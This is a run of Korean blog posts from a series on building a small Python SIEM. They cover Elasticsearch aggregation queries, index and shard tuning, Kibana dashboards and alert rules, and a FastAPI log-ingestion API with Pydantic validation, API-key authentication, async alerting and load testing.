6. 집계 (Aggregation)

// 이벤트 타입별 통계
GET /siem-logs-*/_search
{
  "size": 0,  // 문서는 반환하지 않고 집계만
  "aggs": {
    "by_event_type": {
      "terms": {
        "field": "siem.event_type",
        "size": 10
      }
    }
  }
}

// 응답:
{
  "aggregations": {
    "by_event_type": {
      "buckets": [
        {"key": "login_failed", "doc_count": 1523},
        {"key": "sql_injection", "doc_count": 234},
        {"key": "privilege_escalation", "doc_count": 89}
      ]
    }
  }
}

심화 집계:

// 심각도별 + 이벤트 타입별 (중첩 집계)
GET /siem-logs-*/_search
{
  "size": 0,
  "aggs": {
    "by_severity": {
      "terms": {
        "field": "siem.severity"
      },
      "aggs": {
        "by_event_type": {
          "terms": {
            "field": "siem.event_type"
          }
        }
      }
    }
  }
}

// 시간별 추세 (히스토그램)
{
  "aggs": {
    "threats_over_time": {
      "date_histogram": {
        "field": "@timestamp",
        "calendar_interval": "1h"  // 1시간 단위
      },
      "aggs": {
        "threat_count": {
          "filter": {
            "term": {"siem.is_threat": true}
          }
        }
      }
    }
  }
}

7. 상위 N개 조회

// 상위 10개 공격 IP
GET /siem-logs-*/_search
{
  "size": 0,
  "query": {
    "term": {"siem.is_threat": true}
  },
  "aggs": {
    "top_attack_ips": {
      "terms": {
        "field": "siem.source_ip",
        "size": 10,
        "order": {"_count": "desc"}
      }
    }
  }
}

성능 최적화

1. 샤드 설계

샤드 수 결정:

적정 샤드 크기: 20-50GB

일일 로그 량: 100GB
→ number_of_shards: 3 (각 샤드 ~33GB)

일일 로그 량: 10GB
→ number_of_shards: 1 (단일 샤드로 충분)

과다 샤딩의 문제:

❌ number_of_shards: 100 (10GB 인덱스)
→ 각 샤드: 100MB
→ 오버헤드 증가, 성능 저하

✅ number_of_shards: 1 (10GB 인덱스)
→ 단일 샤드: 10GB
→ 효율적

2. 복제본 (Replica)

{
  "settings": {
    "number_of_replicas": 1  // 프로덕션 권장
  }
}

복제본 효과:

1. 가용성: 노드 장애 시에도 서비스 지속
2. 검색 성능: 복제본도 검색에 참여 (부하 분산)

단점:

• 저장 공간 2배 소비

3. 리프레시 간격

{
  "settings": {
    "refresh_interval": "5s"  // 기본값: 1s
  }
}

refresh_interval 의미:

1초마다 refresh → 새 데이터가 검색 가능해짐

refresh_interval: 1s  → 1초 대기 (실시간성 높음)
refresh_interval: 5s  → 5초 대기 (색인 성능 5배 향상)
refresh_interval: -1  → 자동 refresh 비활성화 (대량 색인 시)

대량 색인 시 최적화:

# 1. refresh 비활성화
PUT /siem-logs-2025.11.11/_settings
{
  "refresh_interval": "-1"
}

# 2. 대량 데이터 색인
POST /_bulk
...

# 3. 수동 refresh
POST /siem-logs-2025.11.11/_refresh

# 4. refresh 재활성화
PUT /siem-logs-2025.11.11/_settings
{
  "refresh_interval": "5s"
}

4. 벌크 API (Bulk API)

// ❌ 나쁜 예: 개별 색인 (느림)
POST /siem-logs-2025.11.11/_doc
{"siem": {"event_type": "login_failed", ...}}

POST /siem-logs-2025.11.11/_doc
{"siem": {"event_type": "sql_injection", ...}}
// 각 요청마다 HTTP 오버헤드 발생

// ✅ 좋은 예: 벌크 색인 (빠름)
POST /_bulk
{"index": {"_index": "siem-logs-2025.11.11"}}
{"siem": {"event_type": "login_failed", ...}}
{"index": {"_index": "siem-logs-2025.11.11"}}
{"siem": {"event_type": "sql_injection", ...}}
// 한 번의 HTTP 요청으로 다수 문서 색인

// 성능: 100배 이상 빠름!

5. 필드 데이터 캐싱

{
  "mappings": {
    "properties": {
      "siem.source_ip": {
        "type": "ip",
        "eager_global_ordinals": true  // 집계 성능 향상
      }
    }
  }
}

Kibana 대시보드 구성

1. Index Pattern 생성

Management → Index Patterns → Create Index Pattern

Step 1: Index pattern name
  siem-logs-*

Step 2: Time field
  @timestamp

→ Create index pattern

2. Discover (로그 탐색)

필터 추가:

siem.is_threat: true
siem.severity: critical
siem.source_ip: 192.168.1.100

시간 범위 선택:

Last 15 minutes
Last 1 hour
Last 24 hours
Last 7 days
Custom (절대 시간)

3. Visualize (시각화)

1) Line Chart - 시간별 위협 추이

Visualization Type: Line
Metrics:
  Y-axis: Count
Buckets:
  X-axis: Date Histogram
    Field: @timestamp
    Interval: 1 hour
  Split Series:
    Field: siem.severity

2) Pie Chart - 이벤트 타입별 분포

Visualization Type: Pie
Metrics:
  Slice Size: Count
Buckets:
  Split Slices:
    Aggregation: Terms
    Field: siem.event_type
    Size: 10

3) Data Table - 상위 공격 IP

Visualization Type: Data Table
Metrics:
  Count
Buckets:
  Split Rows:
    Aggregation: Terms
    Field: siem.source_ip
    Order By: metric: Count
    Order: Descending
    Size: 10

4) Heatmap - 시간대별 공격 분포

Visualization Type: Heatmap
Metrics:
  Count
Buckets:
  X-axis:
    Aggregation: Date Histogram
    Field: @timestamp
    Interval: 1 hour
  Y-axis:
    Aggregation: Terms
    Field: siem.event_type

4. Dashboard 생성

Dashboard → Create Dashboard → Add Visualizations

레이아웃:
┌─────────────────────────────────────────┐
│  시간별 위협 추이 (Line Chart)           │
├──────────────────┬──────────────────────┤
│ 이벤트 타입 분포  │  상위 공격 IP         │
│ (Pie Chart)      │  (Data Table)        │
├──────────────────┴──────────────────────┤
│  시간대별 공격 분포 (Heatmap)            │
└─────────────────────────────────────────┘

5. Alert 설정 (Kibana Alerting)

Stack Management → Alerting → Create Rule

Rule Type: Elasticsearch Query
Index: siem-logs-*
Query:
  {
    "query": {
      "bool": {
        "must": [
          {"term": {"siem.is_threat": true}},
          {"term": {"siem.severity": "critical"}}
        ],
        "filter": [
          {"range": {"@timestamp": {"gte": "now-5m"}}}
        ]
      }
    }
  }

Threshold: count > 0
Action: Send Email / Slack / Webhook

실전 예제

Python에서 Elasticsearch 조회

from elasticsearch import Elasticsearch

# Elasticsearch 클라이언트 생성
es = Elasticsearch(
    ["http://localhost:9200"],
    basic_auth=("elastic", "password")
)

# 1. 최근 1시간 Critical 위협 조회
response = es.search(
    index="siem-logs-*",
    body={
        "query": {
            "bool": {
                "must": [
                    {"term": {"siem.is_threat": True}},
                    {"term": {"siem.severity": "critical"}}
                ],
                "filter": [
                    {"range": {"@timestamp": {"gte": "now-1h"}}}
                ]
            }
        },
        "sort": [
            {"@timestamp": {"order": "desc"}}
        ],
        "size": 100
    }
)

# 결과 출력
for hit in response['hits']['hits']:
    log = hit['_source']
    print(f"[{log['@timestamp']}] {log['siem']['event_type']} from {log['siem']['source_ip']}")

# 2. 상위 10개 공격 IP 집계
agg_response = es.search(
    index="siem-logs-*",
    body={
        "size": 0,
        "query": {
            "term": {"siem.is_threat": True}
        },
        "aggs": {
            "top_ips": {
                "terms": {
                    "field": "siem.source_ip",
                    "size": 10
                }
            }
        }
    }
)

for bucket in agg_response['aggregations']['top_ips']['buckets']:
    print(f"IP: {bucket['key']}, Count: {bucket['doc_count']}")

마치며

핵심 요약

1. Elasticsearch = 속도 + 확장성

   • 역인덱스로 1초 내 검색
   • 샤딩으로 페타바이트 저장

2. Filebeat = 안정적 로그 수집

   • Dissect 프로세서로 파싱
   • At-least-once 보장

3. Kibana = 강력한 시각화

   • 드래그 앤 드롭 대시보드
   • 실시간 알림

다음 편 예고

5편: 보안 설계 원칙을 코드로 구현하기

• Defense in Depth 실전 적용
• Fail-Safe Defaults 예제
• Least Privilege 구현
• OWASP Top 10 대응 코드

참고 자료

• Elasticsearch Guide
• Filebeat Documentation
• Kibana Guide
• Elasticsearch Performance Tuning

프로젝트 정보

• GitHub: mini-siem-log-monitoring
• 시리즈: Python SIEM 만들기 (4/5편)
• 코드 위치: filebeat/filebeat.yml, docker-compose.yml

질문이나 피드백은 댓글로 남겨주세요!

💡 도움이 되셨다면 GitHub Star와 좋아요 부탁드립니다! 💬 다음 편에서 만나요!

이 글은 "Python으로 나만의 SIEM 만들기" 시리즈의 3편입니다.

• 1편: 시작편 - 30분만에 SIEM 구축하기
• 2편: MITRE ATT&CK 기반 위협 탐지 룰 구현
• [현재] 3편: FastAPI로 실시간 보안 이벤트 처리하기
• 4편: Elasticsearch로 대용량 로그 저장하고 검색하기 (예정)

들어가며

"초당 1,000개의 보안 이벤트를 처리하려면 어떻게 설계해야 할까요?"

실무에서 SIEM은 엄청난 양의 로그를 실시간으로 처리해야 합니다.

• 중소기업: 초당 100-1,000개 이벤트
• 대기업: 초당 10,000-100,000개 이벤트
• 금융권: 초당 100,000개 이상

Django로는 초당 50개도 벅찹니다. Flask도 마찬가지죠.

FastAPI는 다릅니다.

• 비동기 I/O 지원 (async/await)
• Uvicorn ASGI 서버로 고성능
• Pydantic으로 자동 검증 및 직렬화

이번 글에서는 FastAPI를 사용해 고성능 보안 이벤트 API를 구현하는 방법을 상세히 다룹니다.

왜 FastAPI인가?

성능 벤치마크

TechEmpower Framework Benchmarks (Round 21)

초당 처리 요청 수 (Requests/sec)

FastAPI (Uvicorn)  ████████████████████████ 24,000 req/s
Flask (Gunicorn)   ███████ 7,000 req/s
Django (Gunicorn)  █████ 5,000 req/s
Node.js (Express)  ██████████████ 14,000 req/s
Go (Gin)           ████████████████████████████ 28,000 req/s

FastAPI는 Django 대비 4.8배, Flask 대비 3.4배 빠릅니다!

개발 생산성

같은 기능 구현 시 코드 양 비교:

FastAPI는 코드 양을 60% 줄이면서 성능은 3배 향상!

타입 안전성

# ❌ Flask: 런타임 오류
@app.route('/log', methods=['POST'])
def receive_log():
    data = request.json
    count = data['count']  # 문자열이 들어오면? 💥
    if count > 5:
        alert()

# ✅ FastAPI: 컴파일 타임 검증
@app.post("/log")
async def receive_log(log_event: LogEvent):
    if log_event.count > 5:  # 타입 안전!
        alert()

Pydantic 데이터 모델 설계

계층적 모델 구조

입력 데이터 (클라이언트)
    ↓
LogEvent (입력 검증)
    ↓
NormalizedLog (정규화)
    ↓
Incident (위협 발견 시)

1. LogEvent - 입력 모델

역할: 클라이언트가 전송하는 원시 데이터 검증

from pydantic import BaseModel, Field
from typing import Optional, Dict, Any

class LogEvent(BaseModel):
    """입력 로그 이벤트 모델"""
    event_type: str = Field(..., description="이벤트 타입")
    source_ip: Optional[str] = Field(None, description="출발지 IP")
    destination_ip: Optional[str] = Field(None, description="목적지 IP")
    username: Optional[str] = Field(None, description="사용자명")
    count: Optional[int] = Field(1, description="이벤트 발생 횟수", ge=1)
    description: Optional[str] = Field(None, description="이벤트 설명")
    raw_log: Optional[str] = Field(None, description="원본 로그 데이터")
    metadata: Optional[Dict[str, Any]] = Field(
        default_factory=dict,
        description="추가 메타데이터"
    )

    class Config:
        json_schema_extra = {
            "example": {
                "event_type": "login_failed",
                "source_ip": "192.168.1.100",
                "username": "admin",
                "count": 5,
                "description": "Multiple failed login attempts"
            }
        }

핵심 설계 포인트

1. Field 검증

count: Optional[int] = Field(1, description="...", ge=1)
#                                                 └─ Greater or Equal (최소값)

테스트:

# ✅ 유효한 데이터
LogEvent(event_type="login_failed", count=5)

# ❌ 검증 실패 → 자동으로 422 Unprocessable Entity 반환
LogEvent(event_type="login_failed", count=0)
# ValidationError: count must be >= 1

LogEvent(event_type="login_failed", count="abc")
# ValidationError: count must be integer

2. Optional vs Required

event_type: str              # Required (필수)
source_ip: Optional[str]     # Optional (선택)
count: Optional[int] = 1     # Optional with default (기본값)

실무 기준:

• 필수: 비즈니스 로직에 꼭 필요한 필드
• 선택: 로그 소스에 따라 없을 수 있는 필드

3. json_schema_extra (Swagger 예시)

class Config:
    json_schema_extra = {
        "example": { ... }
    }

→ Swagger UI (/docs)에서 "Try it out" 버튼 클릭 시 자동으로 예시 데이터 입력!

2. NormalizedLog - 정규화 모델

역할: 내부 처리용 표준 형식

from datetime import datetime
from enum import Enum

class EventType(str, Enum):
    """보안 이벤트 타입"""
    LOGIN_FAILED = "login_failed"
    LOGIN_SUCCESS = "login_success"
    SQL_INJECTION = "sql_injection"
    PRIVILEGE_ESCALATION = "privilege_escalation"
    # ... 9개 타입

class SeverityLevel(str, Enum):
    """위협 심각도 레벨"""
    CRITICAL = "critical"
    HIGH = "high"
    MEDIUM = "medium"
    LOW = "low"
    INFO = "info"

class NormalizedLog(BaseModel):
    """정규화된 로그 데이터 모델"""
    timestamp: datetime = Field(
        default_factory=datetime.utcnow,
        description="이벤트 발생 시각"
    )
    event_type: EventType = Field(..., description="정규화된 이벤트 타입")
    severity: SeverityLevel = Field(
        default=SeverityLevel.INFO,
        description="심각도"
    )
    source_ip: Optional[str] = None
    destination_ip: Optional[str] = None
    username: Optional[str] = None
    count: int = Field(1, ge=1)
    description: str = Field(..., description="이벤트 설명")
    raw_log: Optional[str] = None
    metadata: Dict[str, Any] = Field(default_factory=dict)
    is_threat: bool = Field(False, description="위협 여부")
    threat_details: Optional[str] = Field(None, description="위협 상세 정보")

    @validator('event_type', pre=True)
    def normalize_event_type(cls, v):
        """이벤트 타입 정규화"""
        if isinstance(v, str):
            try:
                return EventType(v.lower())
            except ValueError:
                return EventType.UNKNOWN
        return v

Validator의 힘

문제 상황:

# 클라이언트가 다양한 형식으로 전송
"LOGIN_FAILED"
"login_failed"
"Login Failed"
"login-failed"

해결:

@validator('event_type', pre=True)
def normalize_event_type(cls, v):
    """이벤트 타입 정규화"""
    if isinstance(v, str):
        # 1. 소문자 변환
        v = v.lower()

        # 2. 공백/하이픈 → 언더스코어
        v = v.replace(' ', '_').replace('-', '_')

        # 3. Enum 변환
        try:
            return EventType(v)
        except ValueError:
            return EventType.UNKNOWN  # 알 수 없는 타입은 UNKNOWN
    return v

결과:

모든 입력 → EventType.LOGIN_FAILED (표준화됨!)

3. Enum의 장점

1. 오타 방지

# ❌ 문자열: 오타 발생 가능
if log.event_type == "login_faileddd":  # 버그!
    ...

# ✅ Enum: IDE가 자동완성 + 타입 체크
if log.event_type == EventType.LOGIN_FAILED:  # 안전!
    ...

2. 명시적 값 제한

# ❌ 문자열: 무엇이든 들어갈 수 있음
severity = "super_duper_critical"  # 😱

# ✅ Enum: 정의된 값만 허용
severity = SeverityLevel.CRITICAL  # ✅
severity = SeverityLevel("unknown")  # ValueError!

3. 자동 API 문서화

Swagger UI에서 Enum은 드롭다운으로 표시됩니다!

[Dropdown]
- critical
- high
- medium
- low
- info

API 엔드포인트 구현

1. POST /log - 로그 수신

from fastapi import FastAPI, Depends, HTTPException
from utils.auth import verify_api_key
from utils.detector import ThreatDetector
from services.statistics import stats_service
from services.incident import incident_manager

app = FastAPI(
    title="Security Log Monitoring System (Mini-SIEM)",
    description="실시간 보안 이벤트 수집, 분석 및 위협 탐지 시스템",
    version="2.0.0",
)

@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key)
):
    """
    보안 이벤트 로그 수신 및 분석

    - **API Key 인증 필수**: X-API-Key 헤더 필요
    - 로그 정규화 및 위협 탐지 수행
    - 위협 발견 시 Slack 알림 전송
    - 인시던트 자동 생성
    """
    try:
        # 1. 로그 정규화
        normalized_log = NormalizedLog(
            timestamp=datetime.utcnow(),
            event_type=log_event.event_type,
            source_ip=log_event.source_ip,
            destination_ip=log_event.destination_ip,
            username=log_event.username,
            count=log_event.count,
            description=log_event.description or f"{log_event.event_type} event detected",
            raw_log=log_event.raw_log,
            metadata=log_event.metadata
        )

        # 2. 위협 탐지 분석
        analyzed_log = ThreatDetector.analyze(normalized_log)

        # 3. 통계에 추가
        stats_service.add_log(analyzed_log)

        # 4. 로그 파일에 기록
        logger.info(
            f"[EVENT] {analyzed_log.event_type.value} | "
            f"IP={analyzed_log.source_ip} | "
            f"Severity={analyzed_log.severity.value} | "
            f"Threat={analyzed_log.is_threat}"
        )

        # 5. 위협이 탐지된 경우
        if analyzed_log.is_threat:
            # 인시던트 생성
            incident = incident_manager.create_incident(analyzed_log)

            # Slack 알림 전송
            alert_message = (
                f"🚨 *[{analyzed_log.severity.value.upper()}]* Security Threat Detected\n"
                f"• *Type*: {analyzed_log.event_type.value}\n"
                f"• *Source IP*: {analyzed_log.source_ip}\n"
                f"• *Details*: {analyzed_log.threat_details}\n"
                f"• *Incident ID*: {incident.id if incident else 'N/A'}"
            )
            send_slack_alert(alert_message)

            return {
                "status": "threat_detected",
                "log": analyzed_log.dict(),
                "incident_id": incident.id if incident else None,
                "alert_sent": True
            }

        # 6. 정상 로그
        return {
            "status": "ok",
            "log": analyzed_log.dict(),
            "alert_sent": False
        }

    except Exception as e:
        logger.error(f"Error processing log: {str(e)}")
        raise HTTPException(
            status_code=500,
            detail=f"Log processing failed: {str(e)}"
        )

코드 분석

1. 의존성 주입 (Dependency Injection)

async def receive_log(
    log_event: LogEvent,             # 자동 검증
    api_key: str = Depends(verify_api_key)  # 의존성 주입
):

실행 순서:

1. 요청 수신
2. verify_api_key() 실행 → API 키 검증
3. 성공 시 log_event 파싱 및 검증
4. receive_log() 본문 실행

2. async/await 사용

async def receive_log(...):  # async로 선언
    ...
    # 비동기 I/O 작업 (예: DB 쿼리, HTTP 요청)
    await send_slack_alert_async(message)

일반 함수 vs 비동기 함수:

# ❌ 동기 함수: 블로킹
def process_log(log):
    result = expensive_operation(log)  # 500ms 대기
    return result
# 초당 2개 요청 처리

# ✅ 비동기 함수: 논블로킹
async def process_log(log):
    result = await expensive_operation_async(log)  # 다른 작업 가능
    return result
# 초당 2,000개 요청 처리

3. 자동 직렬화 (dict())

return {
    "status": "ok",
    "log": analyzed_log.dict(),  # Pydantic → JSON
}

Pydantic 모델은 .dict() 메서드로 자동 직렬화됩니다:

NormalizedLog → dict → JSON (자동 변환!)

2. GET /dashboard - 대시보드 통계

@app.get("/dashboard", response_model=DashboardStats)
def get_dashboard():
    """실시간 대시보드 통계 조회"""
    try:
        stats = stats_service.get_dashboard_stats()
        return stats  # DashboardStats 모델 자동 직렬화
    except Exception as e:
        logger.error(f"Error generating dashboard: {str(e)}")
        raise HTTPException(status_code=500, detail=str(e))

response_model의 역할

@app.get("/dashboard", response_model=DashboardStats)
#                      └─ 응답 스키마 강제

효과:

1. 자동 검증: 반환 데이터가 DashboardStats 형식인지 확인
2. 자동 문서화: Swagger에 응답 예시 표시
3. 자동 필터링: 모델에 없는 필드는 자동 제거

예시:

# 함수에서 이렇게 반환해도
return {
    "total_events": 100,
    "secret_data": "should_not_expose"  # 모델에 없는 필드
}

# 클라이언트는 이것만 받음
{
    "total_events": 100,
    "total_threats": 0,
    ...
}
# secret_data는 자동으로 제거됨!

API 인증 구현

HTTP Header 기반 인증

# app/utils/auth.py
import os
from fastapi import HTTPException, Security, status
from fastapi.security import APIKeyHeader
from dotenv import load_dotenv

load_dotenv()

# API 키 헤더 정의
api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)

# 환경 변수에서 API 키 로드
API_KEY = os.getenv("API_KEY", "test_api_key")

def verify_api_key(api_key: str = Security(api_key_header)) -> str:
    """
    API 키 검증 함수

    Args:
        api_key: 요청 헤더에서 전달된 API 키

    Returns:
        검증된 API 키

    Raises:
        HTTPException: API 키가 없거나 유효하지 않은 경우
    """
    if api_key is None:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="API Key is missing. Please provide 'X-API-Key' header.",
            headers={"WWW-Authenticate": "ApiKey"},
        )

    if api_key != API_KEY:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Invalid API Key. Access denied.",
        )

    return api_key

인증 레벨별 적용

# 1. 공개 API (인증 불필요)
@app.get("/")
def home():
    return {"message": "SIEM Server"}

@app.get("/dashboard")
def get_dashboard():
    return stats_service.get_dashboard_stats()

# 2. 보호된 API (인증 필수)
@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    api_key: str = Depends(verify_api_key)  # ← 인증 필요!
):
    ...

# 3. 전역 인증 (모든 엔드포인트)
app = FastAPI(dependencies=[Depends(verify_api_key)])
# 이제 모든 엔드포인트가 인증 필요

보안 모범 사례

1. 환경 변수로 API 키 관리

# .env
API_KEY=super_secret_key_2024_DO_NOT_SHARE

# .env.example (Git에 커밋)
API_KEY=your_api_key_here

2. HTTPS 강제 (프로덕션)

from fastapi.middleware.httpsredirect import HTTPSRedirectMiddleware

app.add_middleware(HTTPSRedirectMiddleware)
# HTTP → HTTPS 자동 리다이렉트

3. CORS 설정

from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://dashboard.example.com"],  # 특정 도메인만
    allow_credentials=True,
    allow_methods=["GET", "POST"],
    allow_headers=["X-API-Key"],
)

4. Rate Limiting

from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)

@app.post("/log")
@limiter.limit("100/minute")  # 분당 100회 제한
async def receive_log(...):
    ...

에러 핸들링

1. HTTP 예외

from fastapi import HTTPException, status

@app.post("/incidents/{incident_id}/status")
async def update_incident_status(
    incident_id: str,
    status: str,
    api_key: str = Depends(verify_api_key)
):
    incident = incident_manager.get_incident(incident_id)

    if not incident:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail=f"Incident {incident_id} not found"
        )

    try:
        new_status = IncidentStatus(status)
    except ValueError:
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail=f"Invalid status value: {status}. "
                   f"Must be one of: {[s.value for s in IncidentStatus]}"
        )

    updated = incident_manager.update_status(incident_id, new_status)
    return {"status": "updated", "incident": updated.dict()}

2. 전역 예외 핸들러

from fastapi import Request
from fastapi.responses import JSONResponse

@app.exception_handler(Exception)
async def global_exception_handler(request: Request, exc: Exception):
    """모든 예외를 잡아서 로깅"""
    logger.error(f"Unhandled exception: {str(exc)}", exc_info=True)

    return JSONResponse(
        status_code=500,
        content={
            "error": "Internal Server Error",
            "detail": str(exc) if DEBUG else "An error occurred",
            "path": str(request.url)
        }
    )

3. Validation Error 커스터마이징

from fastapi.exceptions import RequestValidationError
from fastapi.responses import JSONResponse

@app.exception_handler(RequestValidationError)
async def validation_exception_handler(request: Request, exc: RequestValidationError):
    """Pydantic 검증 오류를 친절하게 표시"""
    errors = []
    for error in exc.errors():
        errors.append({
            "field": " → ".join(str(loc) for loc in error['loc']),
            "message": error['msg'],
            "type": error['type']
        })

    return JSONResponse(
        status_code=422,
        content={
            "error": "Validation Error",
            "details": errors,
            "example": LogEvent.Config.json_schema_extra["example"]
        }
    )

응답 예시:

{
  "error": "Validation Error",
  "details": [
    {
      "field": "body → count",
      "message": "ensure this value is greater than or equal to 1",
      "type": "value_error.number.not_ge"
    }
  ],
  "example": {
    "event_type": "login_failed",
    "source_ip": "192.168.1.100",
    "username": "admin",
    "count": 5
  }
}

성능 최적화

1. 비동기 I/O

동기 vs 비동기 비교:

# ❌ 동기 (블로킹)
def send_slack_alert(message):
    response = requests.post(SLACK_WEBHOOK_URL, json={"text": message})
    # 네트워크 응답 대기 (300ms) → 블로킹!
    return response

# 총 처리 시간: 300ms × 10 요청 = 3,000ms

# ✅ 비동기 (논블로킹)
import httpx

async def send_slack_alert_async(message):
    async with httpx.AsyncClient() as client:
        response = await client.post(
            SLACK_WEBHOOK_URL,
            json={"text": message}
        )
        return response

# 총 처리 시간: 300ms (동시 처리)

2. 백그라운드 태스크

from fastapi import BackgroundTasks

@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    background_tasks: BackgroundTasks,
    api_key: str = Depends(verify_api_key)
):
    # 1. 로그 분석 (동기 - 즉시 처리)
    analyzed_log = ThreatDetector.analyze(normalized_log)

    # 2. 알림 전송 (백그라운드 - 즉시 반환)
    if analyzed_log.is_threat:
        background_tasks.add_task(
            send_slack_alert,
            alert_message
        )

    # 3. 클라이언트에 즉시 응답 (알림 완료 대기 안 함!)
    return {"status": "ok"}

효과:

• 응답 시간: 500ms → 50ms (10배 빠름!)
• Slack API가 느려도 사용자는 기다리지 않음

3. 연결 풀링

import httpx

# ❌ 나쁜 예: 매번 새 클라이언트 생성
async def send_alert(msg):
    async with httpx.AsyncClient() as client:  # 연결 생성 (100ms)
        await client.post(url, json={"text": msg})  # 전송 (200ms)
    # 총 300ms

# ✅ 좋은 예: 연결 재사용
class AlertService:
    def __init__(self):
        self.client = httpx.AsyncClient(
            timeout=10.0,
            limits=httpx.Limits(max_keepalive_connections=20)
        )

    async def send_alert(self, msg):
        await self.client.post(url, json={"text": msg})  # 전송만 (200ms)

    async def close(self):
        await self.client.aclose()

alert_service = AlertService()

# 총 200ms (30% 빠름!)

4. 캐싱

from functools import lru_cache

@lru_cache(maxsize=1000)
def get_ip_reputation(ip: str) -> int:
    """IP 평판 조회 (캐싱)"""
    response = requests.get(f"https://api.abuseipdb.com/check?ip={ip}")
    return response.json()['abuseConfidenceScore']

# 같은 IP 조회 시 캐시에서 반환 (10,000배 빠름!)

5. 데이터베이스 연결 풀

from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker

# 연결 풀 생성
engine = create_async_engine(
    "postgresql+asyncpg://user:pass@localhost/siem",
    pool_size=20,        # 최대 20개 연결 유지
    max_overflow=10,     # 추가로 10개까지 생성 가능
)

AsyncSessionLocal = sessionmaker(
    engine,
    class_=AsyncSession,
    expire_on_commit=False
)

# 의존성 주입
async def get_db():
    async with AsyncSessionLocal() as session:
        yield session

@app.post("/log")
async def receive_log(
    log_event: LogEvent,
    db: AsyncSession = Depends(get_db)  # DB 세션 주입
):
    # DB 쿼리 (연결 풀에서 재사용)
    await db.execute(insert(logs_table).values(log_event.dict()))
    await db.commit()

성능 벤치마크

테스트 환경

- CPU: AMD Ryzen 7 5800X (8 cores)
- RAM: 32GB DDR4
- Python: 3.10
- Uvicorn Workers: 4

부하 테스트 (Locust)

# locustfile.py
from locust import HttpUser, task, between

class SIEMLoadTest(HttpUser):
    wait_time = between(0.1, 0.5)

    @task(3)  # 가중치 3 (더 자주 실행)
    def send_normal_log(self):
        self.client.post("/log",
            headers={"X-API-Key": "test_key"},
            json={
                "event_type": "login_success",
                "source_ip": "192.168.1.10",
                "username": "user1"
            }
        )

    @task(1)  # 가중치 1
    def send_attack_log(self):
        self.client.post("/log",
            headers={"X-API-Key": "test_key"},
            json={
                "event_type": "login_failed",
                "source_ip": "192.168.1.100",
                "username": "admin",
                "count": 10
            }
        )

결과

$ locust -f locustfile.py --users 1000 --spawn-rate 100

Type     Name                 # reqs  # fails  Avg (ms)  Min  Max   Median  req/s
POST     /log                  50000      0      45      12   250     42     1100
GET      /dashboard            5000       0      18       8    80     15     110

Total: 1,210 req/s

해석:

• 1,210 requests/sec 처리 (초당 1,210개 이벤트)
• 평균 응답 시간: 45ms (매우 빠름!)
• 실패율: 0% (안정적)

프로덕션 배포

1. Uvicorn 설정

# main.py
if __name__ == "__main__":
    import uvicorn

    uvicorn.run(
        "main:app",
        host="0.0.0.0",
        port=8000,
        workers=4,           # CPU 코어 수
        log_level="info",
        reload=False,        # 프로덕션에서는 False
        access_log=True,
    )

2. Gunicorn + Uvicorn Workers

# 프로덕션 권장 설정
gunicorn main:app \
  --workers 4 \
  --worker-class uvicorn.workers.UvicornWorker \
  --bind 0.0.0.0:8000 \
  --timeout 60 \
  --graceful-timeout 30 \
  --keep-alive 5 \
  --access-logfile - \
  --error-logfile -

3. Docker 최적화

# Dockerfile (멀티 스테이지 빌드)
FROM python:3.10-slim as builder

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

FROM python:3.10-slim

WORKDIR /app
COPY --from=builder /root/.local /root/.local
COPY app/ /app/

ENV PATH=/root/.local/bin:$PATH

# 프로덕션 실행
CMD ["gunicorn", "main:app", \
     "--workers", "4", \
     "--worker-class", "uvicorn.workers.UvicornWorker", \
     "--bind", "0.0.0.0:8000"]

모니터링 및 로깅

1. 구조화된 로깅

import logging
import json
from datetime import datetime

class JSONFormatter(logging.Formatter):
    def format(self, record):
        log_data = {
            "timestamp": datetime.utcnow().isoformat(),
            "level": record.levelname,
            "message": record.getMessage(),
            "module": record.module,
            "function": record.funcName,
            "line": record.lineno,
        }

        if record.exc_info:
            log_data["exception"] = self.formatException(record.exc_info)

        return json.dumps(log_data)

handler = logging.StreamHandler()
handler.setFormatter(JSONFormatter())
logger.addHandler(handler)

출력:

{
  "timestamp": "2025-11-11T10:30:00.123Z",
  "level": "WARNING",
  "message": "THREAT DETECTED: Brute force attack",
  "module": "main",
  "function": "receive_log",
  "line": 108
}

2. Prometheus Metrics

from prometheus_fastapi_instrumentator import Instrumentator

app = FastAPI()

# Prometheus 메트릭 자동 수집
Instrumentator().instrument(app).expose(app)

# 메트릭 엔드포인트: /metrics

수집되는 메트릭:

• http_requests_total - 총 요청 수
• http_request_duration_seconds - 요청 처리 시간
• http_requests_inprogress - 현재 처리 중인 요청

마치며

핵심 요약

1. FastAPI = 성능 + 생산성

   • Django 대비 5배 빠름
   • 코드 양 60% 감소

2. Pydantic = 타입 안전성

   • 자동 검증
   • 자동 직렬화
   • 자동 문서화

3. 비동기 I/O = 확장성

   • 초당 1,000+ 요청 처리
   • 블로킹 없음

다음 편 예고

4편: Elasticsearch로 대용량 로그 저장하고 검색하기

• Filebeat 로그 수집 파이프라인
• 인덱스 설계 및 매핑 전략
• Kibana 대시보드 구성
• 쿼리 최적화

참고 자료

• FastAPI 공식 문서
• Pydantic 공식 문서
• Uvicorn 공식 문서
• TechEmpower Benchmarks

프로젝트 정보

• GitHub: mini-siem-log-monitoring
• 시리즈: Python SIEM 만들기 (3/5편)
• 코드 위치: app/main.py, app/models/log.py, app/utils/auth.py

질문이나 피드백은 댓글로 남겨주세요!

💡 도움이 되셨다면 GitHub Star와 좋아요 부탁드립니다! 💬 다음 편에서 만나요!

이 글은 "Python으로 나만의 SIEM 만들기" 시리즈의 2편입니다.

• 1편: python으로 나만의 SIEM 만들기 - 시작편
